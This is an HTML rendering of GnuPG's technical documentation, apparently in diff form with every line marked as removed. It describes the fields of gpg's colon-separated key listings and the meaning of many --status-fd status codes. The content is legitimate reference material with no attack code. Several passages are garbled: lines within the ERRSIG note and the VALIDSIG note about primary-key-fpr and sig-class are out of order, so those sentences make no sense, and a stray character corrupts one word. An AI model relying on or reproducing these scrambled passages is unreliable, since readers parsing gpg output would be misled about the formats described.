-<li><a href="#sec-2-1-16">2.1.16 SESSION_KEY <algo>:<hexdigits></a></li> -<li><a href="#sec-2-1-17">2.1.17 BEGIN_ENCRYPTION <mdc_method> <sym_algo></a></li> -<li><a href="#sec-2-1-18">2.1.18 END_ENCRYPTION</a></li> -<li><a href="#sec-2-1-19">2.1.19 FILE_START <what> <filename></a></li> -<li><a href="#sec-2-1-20">2.1.20 FILE_DONE</a></li> -<li><a href="#sec-2-1-21">2.1.21 BEGIN_SIGNING</a></li> -<li><a href="#sec-2-1-22">2.1.22 ALREADY_SIGNED <long-keyid></a></li> -<li><a href="#sec-2-1-23">2.1.23 SIG_CREATED <type> <pk_algo> <hash_algo> <class> <timestamp> <keyfpr></a></li> -<li><a href="#sec-2-1-24">2.1.24 NOTATION_</a></li> -<li><a href="#sec-2-1-25">2.1.25 POLICY_URL <string></a></li> -<li><a href="#sec-2-1-26">2.1.26 PLAINTEXT <format> <timestamp> <filename></a></li> -<li><a href="#sec-2-1-27">2.1.27 PLAINTEXT_LENGTH <length></a></li> -<li><a href="#sec-2-1-28">2.1.28 ATTRIBUTE <arguments></a></li> -<li><a href="#sec-2-1-29">2.1.29 SIG_SUBPACKET <type> <flags> <len> <data></a></li> -</ul> -</li> -<li><a href="#sec-2-2">2.2 Key related</a> -<ul> -<li><a href="#sec-2-2-1">2.2.1 INV_RECP, INV_SGNR</a></li> -<li><a href="#sec-2-2-2">2.2.2 NO_RECP <reserved></a></li> -<li><a href="#sec-2-2-3">2.2.3 NO_SGNR <reserved></a></li> -<li><a href="#sec-2-2-4">2.2.4 KEYEXPIRED <expire-timestamp></a></li> -<li><a href="#sec-2-2-5">2.2.5 KEYREVOKED</a></li> -<li><a href="#sec-2-2-6">2.2.6 NO_PUBKEY <long keyid></a></li> -<li><a href="#sec-2-2-7">2.2.7 NO_SECKEY <long keyid></a></li> -<li><a href="#sec-2-2-8">2.2.8 KEY_CREATED <type> <fingerprint> [<handle>]</a></li> -<li><a href="#sec-2-2-9">2.2.9 KEY_NOT_CREATED [<handle>]</a></li> -<li><a href="#sec-2-2-10">2.2.10 TRUST_</a></li> -<li><a href="#sec-2-2-11">2.2.11 PKA_TRUST_</a></li> -</ul> -</li> -<li><a href="#sec-2-3">2.3 Remote control</a> -<ul> -<li><a href="#sec-2-3-1">2.3.1 GET_BOOL, GET_LINE, GET_HIDDEN, GOT_IT</a></li> -<li><a href="#sec-2-3-2">2.3.2 USERID_HINT <long main keyid> <string></a></li> -<li><a href="#sec-2-3-3">2.3.3 NEED_PASSPHRASE <long keyid> <long main keyid> <keytype> <keylength></a></li> -<li><a href="#sec-2-3-4">2.3.4 NEED_PASSPHRASE_SYM <cipher_algo> <s2k_mode> <s2k_hash></a></li> -<li><a href="#sec-2-3-5">2.3.5 NEED_PASSPHRASE_PIN <card_type> <chvno> [<serialno>]</a></li> -<li><a href="#sec-2-3-6">2.3.6 MISSING_PASSPHRASE</a></li> -<li><a href="#sec-2-3-7">2.3.7 BAD_PASSPHRASE <long keyid></a></li> -<li><a href="#sec-2-3-8">2.3.8 GOOD_PASSPHRASE</a></li> -</ul> -</li> -<li><a href="#sec-2-4">2.4 Import/Export</a> -<ul> -<li><a href="#sec-2-4-1">2.4.1 IMPORT_CHECK <long keyid> <fingerprint> <user ID></a></li> -<li><a href="#sec-2-4-2">2.4.2 IMPORTED <long keyid> <username></a></li> -<li><a href="#sec-2-4-3">2.4.3 IMPORT_OK <reason> [<fingerprint>]</a></li> -<li><a href="#sec-2-4-4">2.4.4 IMPORT_PROBLEM <reason> [<fingerprint>]</a></li> -<li><a href="#sec-2-4-5">2.4.5 IMPORT_RES <args></a></li> -</ul> -</li> -<li><a href="#sec-2-5">2.5 Smartcard related</a> -<ul> -<li><a href="#sec-2-5-1">2.5.1 CARDCTRL <what> [<serialno>]</a></li> -<li><a href="#sec-2-5-2">2.5.2 SC_OP_FAILURE [<code>]</a></li> -<li><a href="#sec-2-5-3">2.5.3 SC_OP_SUCCESS</a></li> -</ul> -</li> -<li><a href="#sec-2-6">2.6 Miscellaneous status codes</a> -<ul> -<li><a href="#sec-2-6-1">2.6.1 NODATA <what></a></li> -<li><a href="#sec-2-6-2">2.6.2 UNEXPECTED <what></a></li> -<li><a href="#sec-2-6-3">2.6.3 TRUNCATED <maxno></a></li> -<li><a href="#sec-2-6-4">2.6.4 ERROR <error location> <error code> [<more>]</a></li> -<li><a href="#sec-2-6-5">2.6.5 SUCCESS [<location>]</a></li> -<li><a href="#sec-2-6-6">2.6.6 BADARMOR</a></li> -<li><a href="#sec-2-6-7">2.6.7 DELETE_PROBLEM <reason_code></a></li> -<li><a href="#sec-2-6-8">2.6.8 PROGRESS <what> <char> <cur> <total></a></li> -<li><a href="#sec-2-6-9">2.6.9 BACKUP_KEY_CREATED <fingerprint> <fname></a></li> -<li><a href="#sec-2-6-10">2.6.10 MOUNTPOINT <name></a></li> -<li><a href="#sec-2-6-11">2.6.11 PINENTRY_LAUNCHED <pid></a></li> -</ul> -</li> -<li><a href="#sec-2-7">2.7 Obsolete status codes</a> -<ul> -<li><a href="#sec-2-7-1">2.7.1 SIGEXPIRED</a></li> -<li><a href="#sec-2-7-2">2.7.2 RSA_OR_IDEA</a></li> -<li><a href="#sec-2-7-3">2.7.3 SHM_INFO, SHM_GET, SHM_GET_BOOL, SHM_GET_HIDDEN</a></li> -<li><a href="#sec-2-7-4">2.7.4 BEGIN_STREAM, END_STREAM</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-3">3 Format of the –attribute-fd output</a></li> -<li><a href="#sec-4">4 Unattended key generation</a></li> -<li><a href="#sec-5">5 Layout of the TrustDB</a></li> -<li><a href="#sec-6">6 GNU extensions to the S2K algorithm</a></li> -<li><a href="#sec-7">7 Keyserver helper message format</a></li> -<li><a href="#sec-8">8 Object identifiers</a></li> -<li><a href="#sec-9">9 Miscellaneous notes</a> -<ul> -<li><a href="#sec-9-1">9.1 v3 fingerprints</a></li> -<li><a href="#sec-9-2">9.2 Simplified revocation certificates</a></li> -<li><a href="#sec-9-3">9.3 Documentation on HKP (the http keyserver protocol):</a></li> -</ul> -</li> -</ul> -</div> -</div> - -<div id="outline-container-1" class="outline-2"> -<h2 id="sec-1"><span class="section-number-2">1</span> Format of the colon listings</h2> -<div class="outline-text-2" id="text-1"> - -<p> The format is a based on colon separated record, each recods starts - with a tag string and extends to the end of the line. Here is an - example: -</p> - - -<pre class="example">$ gpg --with-colons --list-keys \ - --with-fingerprint --with-fingerprint wk@gnupg.org -pub:f:1024:17:6C7EE1B8621CC013:899817715:1055898235::m:::scESC: -fpr:::::::::ECAF7590EB3443B5C7CF3ACB6C7EE1B8621CC013: -uid:f::::::::Werner Koch <wk@g10code.com>: -uid:f::::::::Werner Koch <wk@gnupg.org>: -sub:f:1536:16:06AD222CADF6A6E1:919537416:1036177416:::::e: -fpr:::::::::CF8BCC4B18DE08FCD8A1615906AD222CADF6A6E1: -sub:r:1536:20:5CE086B5B5A18FF4:899817788:1025961788:::::esc: -fpr:::::::::AB059359A3B81F410FCFF97F5CE086B5B5A18FF4: -</pre> - - -<p> -The double <code>--with-fingerprint</code> prints the fingerprint for the subkeys -too. Old versions of gpg used a lighly different format and required -the use of the option <code>--fixed-list-mode</code> to conform to format -described here. -</p> - -</div> - -<div id="outline-container-1-1" class="outline-3"> -<h3 id="sec-1-1"><span class="section-number-3">1.1</span> Description of the fields</h3> -<div class="outline-text-3" id="text-1-1"> - - -</div> - -<div id="outline-container-1-1-1" class="outline-4"> -<h4 id="sec-1-1-1"><span class="section-number-4">1.1.1</span> Field 1 - Type of record</h4> -<div class="outline-text-4" id="text-1-1-1"> - - -<dl> -<dt>pub</dt><dd>Public key -</dd> -<dt>crt</dt><dd>X.509 certificate -</dd> -<dt>crs</dt><dd>X.509 certificate and private key available -</dd> -<dt>sub</dt><dd>Subkey (secondary key) -</dd> -<dt>sec</dt><dd>Secret key -</dd> -<dt>ssb</dt><dd>Secret subkey (secondary key) -</dd> -<dt>uid</dt><dd>User id (only field 10 is used). -</dd> -<dt>uat</dt><dd>User attribute (same as user id except for field 10). -</dd> -<dt>sig</dt><dd>Signature -</dd> -<dt>rev</dt><dd>Revocation signature -</dd> -<dt>fpr</dt><dd>Fingerprint (fingerprint is in field 10) -</dd> -<dt>pkd</dt><dd>Public key data [*] -</dd> -<dt>grp</dt><dd>Keygrip -</dd> -<dt>rvk</dt><dd>Revocation key -</dd> -<dt>tru</dt><dd>Trust database information [*] -</dd> -<dt>spk</dt><dd>Signature subpacket [*] -</dd> -<dt>cfg</dt><dd>Configuration data [*] -</dd> -</dl> - - -<p> - Records marked with an asterisk are described at <a href="#Special-field-formats">*Special fields</a>. -</p> -</div> - -</div> - -<div id="outline-container-1-1-2" class="outline-4"> -<h4 id="sec-1-1-2"><span class="section-number-4">1.1.2</span> Field 2 - Validity</h4> -<div class="outline-text-4" id="text-1-1-2"> - - -<p> - This is a letter describing the computed validity of a key. - Currently this is a single letter, but be prepared that additional - information may follow in some future versions. Note that GnuPG < - 2.1 does not set this field for secret key listings. -</p> -<dl> -<dt>o</dt><dd>Unknown (this key is new to the system) -</dd> -<dt>i</dt><dd>The key is invalid (e.g. due to a missing self-signature) -</dd> -<dt>d</dt><dd>The key has been disabled - (deprecated - use the 'D' in field 12 instead) -</dd> -<dt>r</dt><dd>The key has been revoked -</dd> -<dt>e</dt><dd>The key has expired -</dd> -<dt>-</dt><dd>Unknown validity (i.e. no value assigned) -</dd> -<dt>q</dt><dd>Undefined validity. '-' and 'q' may safely be treated as - the same value for most purposes -</dd> -<dt>n</dt><dd>The key is not valid -</dd> -<dt>m</dt><dd>The key is marginal valid. -</dd> -<dt>f</dt><dd>The key is fully valid -</dd> -<dt>u</dt><dd>The key is ultimately valid. This often means that the - secret key is available, but any key may be marked as - ultimately valid. -</dd> -<dt>w</dt><dd>The key has a well known private part. -</dd> -<dt>s</dt><dd>The key has special validity. This means that it might be - self-signed and expected to be used in the STEED sytem. -</dd> -</dl> - - -<p> - If the validity information is given for a UID or UAT record, it - describes the validity calculated based on this user ID. If given - for a key record it describes the validity taken from the best - rated user ID. -</p> -<p> - For X.509 certificates a 'u' is used for a trusted root - certificate (i.e. for the trust anchor) and an 'f' for all other - valid certificates. -</p> -</div> - -</div> - -<div id="outline-container-1-1-3" class="outline-4"> -<h4 id="sec-1-1-3"><span class="section-number-4">1.1.3</span> Field 3 - Key length</h4> -<div class="outline-text-4" id="text-1-1-3"> - - -<p> - The length of key in bits. -</p> -</div> - -</div> - -<div id="outline-container-1-1-4" class="outline-4"> -<h4 id="sec-1-1-4"><span class="section-number-4">1.1.4</span> Field 4 - Public key algorithm</h4> -<div class="outline-text-4" id="text-1-1-4"> - - -<p> - The values here are those from the OpenPGP specs or if they are - greather than 255 the algorithm ids as used by Libgcrypt. -</p> -</div> - -</div> - -<div id="outline-container-1-1-5" class="outline-4"> -<h4 id="sec-1-1-5"><span class="section-number-4">1.1.5</span> Field 5 - KeyID</h4> -<div class="outline-text-4" id="text-1-1-5"> - - -<p> - This is the 64 bit keyid as specified by OpenPGP and the last 64 - bit of the SHA-1 fingerprint of an X.509 certifciate. -</p> -</div> - -</div> - -<div id="outline-container-1-1-6" class="outline-4"> -<h4 id="sec-1-1-6"><span class="section-number-4">1.1.6</span> Field 6 - Creation date</h4> -<div class="outline-text-4" id="text-1-1-6"> - - -<p> - The creation date of the key is given in UTC. For UID and UAT - records, this is used for the self-signature date. Note that the - date is usally printed in seconds since epoch, however, we are - migrating to an ISO 8601 format (e.g. "19660205T091500"). This is - currently only relevant for X.509. A simple way to detect the new - format is to scan for the 'T'. Note that old versions of gpg - without using the <code>--fixed-list-mode</code> option used a "yyyy-mm-tt" - format. -</p> -</div> - -</div> - -<div id="outline-container-1-1-7" class="outline-4"> -<h4 id="sec-1-1-7"><span class="section-number-4">1.1.7</span> Field 7 - Expiration date</h4> -<div class="outline-text-4" id="text-1-1-7"> - - -<p> - Key or UID/UAT expiration date or empty if it does not expire. -</p> -</div> - -</div> - -<div id="outline-container-1-1-8" class="outline-4"> -<h4 id="sec-1-1-8"><span class="section-number-4">1.1.8</span> Field 8 - Certificate S/N, UID hash, trust signature info</h4> -<div class="outline-text-4" id="text-1-1-8"> - - -<p> - Used for serial number in crt records. For UID and UAT records, - this is a hash of the user ID contents used to represent that - exact user ID. For trust signatures, this is the trust depth - seperated by the trust value by a space. -</p> -</div> - -</div> - -<div id="outline-container-1-1-9" class="outline-4"> -<h4 id="sec-1-1-9"><span class="section-number-4">1.1.9</span> Field 9 - Ownertrust</h4> -<div class="outline-text-4" id="text-1-1-9"> - - -<p> - This is only used on primary keys. This is a single letter, but - be prepared that additional information may follow in future - versions. For trust signatures with a regular expression, this is - the regular expression value, quoted as in field 10. -</p> -</div> - -</div> - -<div id="outline-container-1-1-10" class="outline-4"> -<h4 id="sec-1-1-10"><span class="section-number-4">1.1.10</span> Field 10 - User-ID</h4> -<div class="outline-text-4" id="text-1-1-10"> - -<p> The value is quoted like a C string to avoid control characters - (the colon is quoted <code>\x3a</code>). For a "pub" record this field is - not used on –fixed-list-mode. A UAT record puts the attribute - subpacket count here, a space, and then the total attribute - subpacket size. In gpgsm the issuer name comes here. A FPR - record stores the fingerprint here. The fingerprint of a - revocation key is stored here. -</p></div> - -</div> - -<div id="outline-container-1-1-11" class="outline-4"> -<h4 id="sec-1-1-11"><span class="section-number-4">1.1.11</span> Field 11 - Signature class</h4> -<div class="outline-text-4" id="text-1-1-11"> - - -<p> - Signature class as per RFC-4880. This is a 2 digit hexnumber - followed by either the letter 'x' for an exportable signature or - the letter 'l' for a local-only signature. The class byte of an - revocation key is also given here, 'x' and 'l' is used the same - way. This field if not used for X.509. -</p> -</div> - -</div> - -<div id="outline-container-1-1-12" class="outline-4"> -<h4 id="sec-1-1-12"><span class="section-number-4">1.1.12</span> Field 12 - Key capabilities</h4> -<div class="outline-text-4" id="text-1-1-12"> - - -<p> - The defined capabilities are: -</p> -<dl> -<dt>e</dt><dd>Encrypt -</dd> -<dt>s</dt><dd>Sign -</dd> -<dt>c</dt><dd>Certify -</dd> -<dt>a</dt><dd>Authentication -</dd> -<dt>?</dt><dd>Unknown capability -</dd> -</dl> - - -<p> - A key may have any combination of them in any order. In addition - to these letters, the primary key has uppercase versions of the - letters to denote the <span style="text-decoration:underline;">usable</span> capabilities of the entire key, and - a potential letter 'D' to indicate a disabled key. -</p> -</div> - -</div> - -<div id="outline-container-1-1-13" class="outline-4"> -<h4 id="sec-1-1-13"><span class="section-number-4">1.1.13</span> Field 13 - Issuer certificate fingerprint or other info</h4> -<div class="outline-text-4" id="text-1-1-13"> - - -<p> - Used in FPR records for S/MIME keys to store the fingerprint of - the issuer certificate. This is useful to build the certificate - path based on certificates stored in the local key database it is - only filled if the issuer certificate is available. The root has - been reached if this is the same string as the fingerprint. The - advantage of using this value is that it is guaranteed to have - been been build by the same lookup algorithm as gpgsm uses. -</p> -<p> - For "uid" records this field lists the preferences in the same way - gpg's –edit-key menu does. -</p> -<p> - For "sig" records, this is the fingerprint of the key that issued - the signature. Note that this is only filled in if the signature - verified correctly. Note also that for various technical reasons, - this fingerprint is only available if –no-sig-cache is used. -</p> -</div> - -</div> - -<div id="outline-container-1-1-14" class="outline-4"> -<h4 id="sec-1-1-14"><span class="section-number-4">1.1.14</span> Field 14 - Flag field</h4> -<div class="outline-text-4" id="text-1-1-14"> - - -<p> - Flag field used in the –edit menu output -</p> -</div> - -</div> - -<div id="outline-container-1-1-15" class="outline-4"> -<h4 id="sec-1-1-15"><span class="section-number-4">1.1.15</span> Field 15 - S/N of a token</h4> -<div class="outline-text-4" id="text-1-1-15"> - - -<p> - Used in sec/sbb to print the serial number of a token (internal - protect mode 1002) or a '#' if that key is a simple stub (internal - protect mode 1001) -</p> -</div> - -</div> - -<div id="outline-container-1-1-16" class="outline-4"> -<h4 id="sec-1-1-16"><span class="section-number-4">1.1.16</span> Field 16 - Hash algorithm</h4> -<div class="outline-text-4" id="text-1-1-16"> - - -<p> - For sig records, this is the used hash algorithm. For example: - 2 = SHA-1, 8 = SHA-256. -</p> -</div> -</div> - -</div> - -<div id="outline-container-1-2" class="outline-3"> -<h3 id="sec-1-2"><span class="section-number-3">1.2</span> Special fields</h3> -<div class="outline-text-3" id="text-1-2"> - - - -</div> - -<div id="outline-container-1-2-1" class="outline-4"> -<h4 id="sec-1-2-1"><span class="section-number-4">1.2.1</span> PKD - Public key data</h4> -<div class="outline-text-4" id="text-1-2-1"> - - -<p> - If field 1 has the tag "pkd", a listing looks like this: -</p> - - -<pre class="example">pkd:0:1024:B665B1435F4C2 .... FF26ABB: - ! ! !-- the value - ! !------ for information number of bits in the value - !--------- index (eg. DSA goes from 0 to 3: p,q,g,y) -</pre> - - -</div> - -</div> - -<div id="outline-container-1-2-2" class="outline-4"> -<h4 id="sec-1-2-2"><span class="section-number-4">1.2.2</span> TRU - Trust database information</h4> -<div class="outline-text-4" id="text-1-2-2"> - -<p> Example for a "tru" trust base record: -</p> - - -<pre class="example">tru:o:0:1166697654:1:3:1:5 -</pre> - - -<dl> -<dt>Field 2</dt><dd>Reason for staleness of trust. If this field is - empty, then the trustdb is not stale. This field may - have multiple flags in it: - -<dl> -<dt>o</dt><dd>Trustdb is old -</dd> -<dt>t</dt><dd>Trustdb was built with a different trust model - than the one we are using now. - -</dd> -</dl> - -</dd> -<dt>Field 3</dt><dd>Trust model - -<dl> -<dt>0</dt><dd>Classic trust model, as used in PGP 2.x. -</dd> -<dt>1</dt><dd>PGP trust model, as used in PGP 6 and later. - This is the same as the classic trust model, - except for the addition of trust signatures. - -</dd> -</dl> - -<p> GnuPG before version 1.4 used the classic trust model - by default. GnuPG 1.4 and later uses the PGP trust - model by default. -</p> -</dd> -<dt>Field 4</dt><dd>Date trustdb was created in seconds since Epoch. -</dd> -<dt>Field 5</dt><dd>Date trustdb will expire in seconds since Epoch. -</dd> -<dt>Field 6</dt><dd>Number of marginally trusted users to introduce a new - key signer (gpg's option –marginals-needed). -</dd> -<dt>Field 7</dt><dd>Number of completely trusted users to introduce a new - key signer. (gpg's option –completes-needed) - -</dd> -<dt>Field 8</dt><dd>Maximum depth of a certification chain. (gpg's option - –max-cert-depth) -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-1-2-3" class="outline-4"> -<h4 id="sec-1-2-3"><span class="section-number-4">1.2.3</span> SPK - Signature subpacket records</h4> -<div class="outline-text-4" id="text-1-2-3"> - - -<dl> -<dt>Field 2</dt><dd>Subpacket number as per RFC-4880 and later. -</dd> -<dt>Field 3</dt><dd>Flags in hex. Currently the only two bits assigned - are 1, to indicate that the subpacket came from the - hashed part of the signature, and 2, to indicate the - subpacket was marked critical. -</dd> -<dt>Field 4</dt><dd>Length of the subpacket. Note that this is the - length of the subpacket, and not the length of field - 5 below. Due to the need for %-encoding, the length - of field 5 may be up to 3x this value. -</dd> -<dt>Field 5</dt><dd>The subpacket data. Printable ASCII is shown as - ASCII, but other values are rendered as %XX where XX - is the hex value for the byte. -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-1-2-4" class="outline-4"> -<h4 id="sec-1-2-4"><span class="section-number-4">1.2.4</span> CFG - Configuration data</h4> -<div class="outline-text-4" id="text-1-2-4"> - - -<p> - –list-config outputs information about the GnuPG configuration - for the benefit of frontends or other programs that call GnuPG. - There are several list-config items, all colon delimited like the - rest of the –with-colons output. The first field is always "cfg" - to indicate configuration information. The second field is one of - (with examples): -</p> -<dl> -<dt>version</dt><dd>The third field contains the version of GnuPG. - -<pre class="example"> -cfg:version:1.3.5 -</pre> - - -</dd> -<dt>pubkey</dt><dd>The third field contains the public key algorithms - this version of GnuPG supports, separated by - semicolons. The algorithm numbers are as specified in - RFC-4880. Note that in contrast to the –status-fd - interface these are <span style="text-decoration:underline;">not</span> the Libgcrypt identifiers. - -<pre class="example"> -cfg:pubkey:1;2;3;16;17 -</pre> - - -</dd> -<dt>cipher</dt><dd>The third field contains the symmetric ciphers this - version of GnuPG supports, separated by semicolons. - The cipher numbers are as specified in RFC-4880. - -<pre class="example"> -cfg:cipher:2;3;4;7;8;9;10 -</pre> - - -</dd> -<dt>digest</dt><dd>The third field contains the digest (hash) algorithms - this version of GnuPG supports, separated by - semicolons. The digest numbers are as specified in - RFC-4880. - -<pre class="example"> -cfg:digest:1;2;3;8;9;10 -</pre> - - -</dd> -<dt>compress</dt><dd>The third field contains the compression algorithms - this version of GnuPG supports, separated by - semicolons. The algorithm numbers are as specified - in RFC-4880. - -<pre class="example"> -cfg:compress:0;1;2;3 -</pre> - - -</dd> -<dt>group</dt><dd>The third field contains the name of the group, and the - fourth field contains the values that the group expands - to, separated by semicolons. - -<p> - For example, a group of: -</p><pre class="example"> -group mynames = paige 0x12345678 joe patti -</pre> - -<p> would result in: -</p><pre class="example"> -cfg:group:mynames:patti;joe;0x12345678;paige -</pre> - -</dd> -</dl> - - - -</div> -</div> -</div> - -</div> - -<div id="outline-container-2" class="outline-2"> -<h2 id="sec-2"><span class="section-number-2">2</span> Format of the –status-fd output</h2> -<div class="outline-text-2" id="text-2"> - - -<p> - Every line is prefixed with "[GNUPG:] ", followed by a keyword with - the type of the status line and some arguments depending on the type - (maybe none); an application should always be prepared to see more - arguments in future versions. -</p> - -</div> - -<div id="outline-container-2-1" class="outline-3"> -<h3 id="sec-2-1"><span class="section-number-3">2.1</span> General status codes</h3> -<div class="outline-text-3" id="text-2-1"> - - -</div> - -<div id="outline-container-2-1-1" class="outline-4"> -<h4 id="sec-2-1-1"><span class="section-number-4">2.1.1</span> NEWSIG</h4> -<div class="outline-text-4" id="text-2-1-1"> - -<p> May be issued right before a signature verification starts. This - is useful to define a context for parsing ERROR status messages. - No arguments are currently defined. -</p> -</div> - -</div> - -<div id="outline-container-2-1-2" class="outline-4"> -<h4 id="sec-2-1-2"><span class="section-number-4">2.1.2</span> GOODSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-2"> - -<p> The signature with the keyid is good. For each signature only one - of the codes GOODSIG, BADSIG, EXPSIG, EXPKEYSIG, REVKEYSIG or - ERRSIG will be emitted. In the past they were used as a marker - for a new signature; new code should use the NEWSIG status - instead. The username is the primary one encoded in UTF-8 and %XX - escaped. The fingerprint may be used instead of the long keyid if - it is available. This is the case with CMS and might eventually - also be available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-3" class="outline-4"> -<h4 id="sec-2-1-3"><span class="section-number-4">2.1.3</span> EXPSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-3"> - -<p> The signature with the keyid is good, but the signature is - expired. The username is the primary one encoded in UTF-8 and %XX - escaped. The fingerprint may be used instead of the long keyid if - it is available. This is the case with CMS and might eventually - also be available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-4" class="outline-4"> -<h4 id="sec-2-1-4"><span class="section-number-4">2.1.4</span> EXPKEYSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-4"> - -<p> The signature with the keyid is good, but the signature was made - by an expired key. The username is the primary one encoded in - UTF-8 and %XX escaped. The fingerprint may be used instead of the - long keyid if it is available. This is the case with CMS and - might eventually also be available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-5" class="outline-4"> -<h4 id="sec-2-1-5"><span class="section-number-4">2.1.5</span> REVKEYSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-5"> - -<p> The signature with the keyid is good, but the signature was made - by a revoked key. The username is the primary one encoded in UTF-8 - and %XX escaped. The fingerprint may be used instead of the long - keyid if it is available. This is the case with CMS and might - eventually also beñ available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-6" class="outline-4"> -<h4 id="sec-2-1-6"><span class="section-number-4">2.1.6</span> BADSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-6"> - -<p> The signature with the keyid has not been verified okay. The - username is the primary one encoded in UTF-8 and %XX escaped. The - fingerprint may be used instead of the long keyid if it is - available. This is the case with CMS and might eventually also be - available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-7" class="outline-4"> -<h4 id="sec-2-1-7"><span class="section-number-4">2.1.7</span> ERRSIG <keyid> <pkalgo> <hashalgo> <sig_class> <time> <rc></h4> -<div class="outline-text-4" id="text-2-1-7"> - -<p> It was not possible to check the signature. This may be caused by - a missing public key or an unsupported algorithm. A RC of 4 - indicates unknown algorithm, a 9 indicates a missing public - key. The other fields give more information about this signature. - sig_class is a 2 byte hex-value. The fingerprint may be used - instead of the keyid if it is available. This is the case with - gpgsm and might eventually also be available for OpenPGP. -</p> -<p> - Note, that TIME may either be the number of seconds since Epoch or - the letter 'T'. - an ISO 8601 string. The latter can be detected by the presence of -</p> -</div> - -</div> - -<div id="outline-container-2-1-8" class="outline-4"> -<h4 id="sec-2-1-8"><span class="section-number-4">2.1.8</span> VALIDSIG <args></h4> -<div class="outline-text-4" id="text-2-1-8"> - - -<p> - The args are: -</p> -<ul> -<li><fingerprint_in_hex> -</li> -<li><sig_creation_date> -</li> -<li><sig-timestamp> -</li> -<li><expire-timestamp> -</li> -<li><sig-version> -</li> -<li><reserved> -</li> -<li><pubkey-algo> -</li> -<li><hash-algo> -</li> -<li><sig-class> -</li> -<li>[ <primary-key-fpr> ] -</li> -</ul> - - -<p> - This status indicates that the signature is good. This is the same - as GOODSIG but has the fingerprint as the argument. Both status - lines are emitted for a good signature. All arguments here are on - one long line. sig-timestamp is the signature creation time in - seconds after the epoch. expire-timestamp is the signature - expiration time in seconds after the epoch (zero means "does not - expire"). sig-version, pubkey-algo, hash-algo, and sig-class (a - 2-byte hex value) are all straight from the signature packet. - PRIMARY-KEY-FPR is the fingerprint of the primary key or identical - to the first argument. This is useful to get back to the primary - key without running gpg again for this purpose. -</p> -<p> - The primary-key-fpr parameter is used for OpenPGP and not - class is not defined for CMS and currently set to 0 and 00. - available for CMS signatures. The sig-version as well as the sig -</p> -<p> - Note, that *-TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-1-9" class="outline-4"> -<h4 id="sec-2-1-9"><span class="section-number-4">2.1.9</span> SIG_ID <radix64_string> <sig_creation_date> <sig-timestamp></h4> -<div class="outline-text-4" id="text-2-1-9"> - -<p> This is emitted only for signatures of class 0 or 1 which have - been verified okay. The string is a signature id and may be used - in applications to detect replay attacks of signed messages. Note - that only DLP algorithms give unique ids - others may yield - duplicated ones when they have been created in the same second. -</p> -<p> - Note, that SIG-TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-1-10" class="outline-4"> -<h4 id="sec-2-1-10"><span class="section-number-4">2.1.10</span> ENC_TO <long_keyid> <keytype> <keylength></h4> -<div class="outline-text-4" id="text-2-1-10"> - -<p> The message is encrypted to this LONG_KEYID. KEYTYPE is the - numerical value of the public key algorithm or 0 if it is not - known, KEYLENGTH is the length of the key or 0 if it is not known - (which is currently always the case). Gpg prints this line - always; Gpgsm only if it knows the certificate. -</p> -</div> - -</div> - -<div id="outline-container-2-1-11" class="outline-4"> -<h4 id="sec-2-1-11"><span class="section-number-4">2.1.11</span> BEGIN_DECRYPTION</h4> -<div class="outline-text-4" id="text-2-1-11"> - -<p> Mark the start of the actual decryption process. This is also - emitted when in –list-only mode. -</p></div> - -</div> - -<div id="outline-container-2-1-12" class="outline-4"> -<h4 id="sec-2-1-12"><span class="section-number-4">2.1.12</span> END_DECRYPTION</h4> -<div class="outline-text-4" id="text-2-1-12"> - -<p> Mark the end of the actual decryption process. This are also - emitted when in –list-only mode. -</p></div> - -</div> - -<div id="outline-container-2-1-13" class="outline-4"> -<h4 id="sec-2-1-13"><span class="section-number-4">2.1.13</span> DECRYPTION_INFO <mdc_method> <sym_algo></h4> -<div class="outline-text-4" id="text-2-1-13"> - -<p> Print information about the symmetric encryption algorithm and the - MDC method. This will be emitted even if the decryption fails. -</p> -</div> - -</div> - -<div id="outline-container-2-1-14" class="outline-4"> -<h4 id="sec-2-1-14"><span class="section-number-4">2.1.14</span> DECRYPTION_FAILED</h4> -<div class="outline-text-4" id="text-2-1-14"> - -<p> The symmetric decryption failed - one reason could be a wrong - passphrase for a symmetrical encrypted message. -</p> -</div> - -</div> - -<div id="outline-container-2-1-15" class="outline-4"> -<h4 id="sec-2-1-15"><span class="section-number-4">2.1.15</span> DECRYPTION_OKAY</h4> -<div class="outline-text-4" id="text-2-1-15"> - -<p> The decryption process succeeded. This means, that either the - correct secret key has been used or the correct passphrase for a - conventional encrypted message was given. The program itself may - return an errorcode because it may not be possible to verify a - signature for some reasons. -</p> -</div> - -</div> - -<div id="outline-container-2-1-16" class="outline-4"> -<h4 id="sec-2-1-16"><span class="section-number-4">2.1.16</span> SESSION_KEY <algo>:<hexdigits></h4> -<div class="outline-text-4" id="text-2-1-16"> - -<p> The session key used to decrypt the message. This message will - only be emitted when the special option –show-session-key is - used. The format is suitable to be passed to the option - –override-session-key -</p> -</div> - -</div> - -<div id="outline-container-2-1-17" class="outline-4"> -<h4 id="sec-2-1-17"><span class="section-number-4">2.1.17</span> BEGIN_ENCRYPTION <mdc_method> <sym_algo></h4> -<div class="outline-text-4" id="text-2-1-17"> - -<p> Mark the start of the actual encryption process. -</p> -</div> - -</div> - -<div id="outline-container-2-1-18" class="outline-4"> -<h4 id="sec-2-1-18"><span class="section-number-4">2.1.18</span> END_ENCRYPTION</h4> -<div class="outline-text-4" id="text-2-1-18"> - -<p> Mark the end of the actual encryption process. -</p> -</div> - 